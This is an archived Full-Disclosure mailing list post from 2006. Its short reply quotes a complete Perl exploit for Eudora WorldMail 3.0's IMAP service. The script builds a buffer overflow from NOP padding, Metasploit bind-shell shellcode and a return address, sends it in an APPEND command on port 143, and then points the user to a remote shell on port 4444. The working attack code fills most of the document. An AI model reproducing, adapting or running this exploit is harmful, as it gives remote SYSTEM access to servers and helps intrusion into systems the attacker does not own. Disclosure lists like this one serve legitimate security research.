full-disclosure - (OLD) Eudora WorldMail 3.0 Windows 2000 Remote System Exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Sat Feb  4 21:44:39 2006
From: evdo.hsdpa at gmail.com (Robert Kim Wireless Internet Advisor)
Subject: (OLD) Eudora WorldMail 3.0 Windows 2000 Remote
	System Exploit

what is this in response to? - bob

On 2/4/06, markus magnus <winning_team555@...oo.de> wrote:
> ###
> ### Eudora WorldMail 3.0 Windows 2000 Remote System
> Exploit
> ### November 2005
> ###
> ### Tested on Windows 2000 Server SP4
> ###
> ### info(AT)com-winner.com
> ### http://www.com-winner.com
> ### http://www.com-winner.com/CWCOM/cwc-index/
> ###
>
> use IO::Socket::INET;
> use strict;
>
> # win32_bind -  EXITFUNC=seh LPORT=4444 Size=344
> Encoder=PexFnstenvSub http://metasploit.com
> my $shellcode =
> "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x63".
> "\x88\xf7\xf7\x83\xeb\xfc\xe2\xf4\x9f\xe2\x1c\xba\x8b\x71\x08\x08".
> "\x9c\xe8\x7c\x9b\x47\xac\x7c\xb2\x5f\x03\x8b\xf2\x1b\x89\x18\x7c".
> "\x2c\x90\x7c\xa8\x43\x89\x1c\xbe\xe8\xbc\x7c\xf6\x8d\xb9\x37\x6e".
> "\xcf\x0c\x37\x83\x64\x49\x3d\xfa\x62\x4a\x1c\x03\x58\xdc\xd3\xdf".
> "\x16\x6d\x7c\xa8\x47\x89\x1c\x91\xe8\x84\xbc\x7c\x3c\x94\xf6\x1c".
> "\x60\xa4\x7c\x7e\x0f\xac\xeb\x96\xa0\xb9\x2c\x93\xe8\xcb\xc7\x7c".
> "\x23\x84\x7c\x87\x7f\x25\x7c\xb7\x6b\xd6\x9f\x79\x2d\x86\x1b\xa7".
> "\x9c\x5e\x91\xa4\x05\xe0\xc4\xc5\x0b\xff\x84\xc5\x3c\xdc\x08\x27".
> "\x0b\x43\x1a\x0b\x58\xd8\x08\x21\x3c\x01\x12\x91\xe2\x65\xff\xf5".
> "\x36\xe2\xf5\x08\xb3\xe0\x2e\xfe\x96\x25\xa0\x08\xb5\xdb\xa4\xa4".
> "\x30\xdb\xb4\xa4\x20\xdb\x08\x27\x05\xe0\xe6\xab\x05\xdb\x7e\x16".
> "\xf6\xe0\x53\xed\x13\x4f\xa0\x08\xb5\xe2\xe7\xa6\x36\x77\x27\x9f".
> "\xc7\x25\xd9\x1e\x34\x77\x21\xa4\x36\x77\x27\x9f\x86\xc1\x71\xbe".
> "\x34\x77\x21\xa7\x37\xdc\xa2\x08\xb3\x1b\x9f\x10\x1a\x4e\x8e\xa0".
> "\x9c\x5e\xa2\x08\xb3\xee\x9d\x93\x05\xe0\x94\x9a\xea\x6d\x9d\xa7".
> "\x3a\xa1\x3b\x7e\x84\xe2\xb3\x7e\x81\xb9\x37\x04\xc9\x76\xb5\xda".
> "\x9d\xca\xdb\x64\xee\xf2\xcf\x5c\xc8\x23\x9f\x85\x9d\x3b\xe1\x08".
> "\x16\xcc\x08\x21\x38\xdf\xa5\xa6\x32\xd9\x9d\xf6\x32\xd9\xa2\xa6".
> "\x9c\x58\x9f\x5a\xba\x8d\x39\xa4\x9c\x5e\x9d\x08\x9c\xbf\x08\x27".
> "\xe8\xdf\x0b\x74\xa7\xec\x08\x21\x31\x77\x27\x9f\x93\x02\xf3\xa8".
> "\x30\x77\x21\x08\xb3\x88\xf7\xf7";
>
> sub usage {
>        print "usage: perl Worldmail.pl serverip\n";
> }
>
> print "Worldmail.pl\nEudora WorldMail Server REMOTE
> SYSTEM EXPLOIT\n";
> if ($#ARGV < 0) {
>        usage();
>        exit();
> }
>
> my $host=$ARGV[0];
> my $sock = IO::Socket::INET->new(PeerAddr => $host,
>                                 PeerPort => 143,
>                                 Proto    => 'tcp');
>
> my $nops="\x90" x 10;
>
> my $ret="\xfd\x2b\x9a\x01";     # call ebx in worldmail
> 3.0 cram.dll
> my $x = $nops . $shellcode . ("A" x 427) . "\xeb\x04"
> . $ret . "\xe9\xeb\xfc\xff\xff";
>
> print $sock "A003 APPEND saved-messages (\Seen)
> {\"$x\"}\r\n";
>
> print "\nNow telnet to remote host on port 4444...\n";
>
> while (1) {
>        $a=<$sock>;
> }
>
>
>
>
>
>
> ___________________________________________________________
> Telefonate ohne weitere Kosten vom PC zum PC: http://messenger.yahoo.de
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>


--
Robert Q Kim, Wireless Internet Advisor
http://hsdpa-coverage.com
http://www.antennacoverage.com/cell-repeater.html
https://www.antennacoverage.com/cell-phone-antenna-booster.html

2611 S. Pacific Coast Highway 101
Suite 102
Cardiff by the Sea, CA 92007
206 984 0880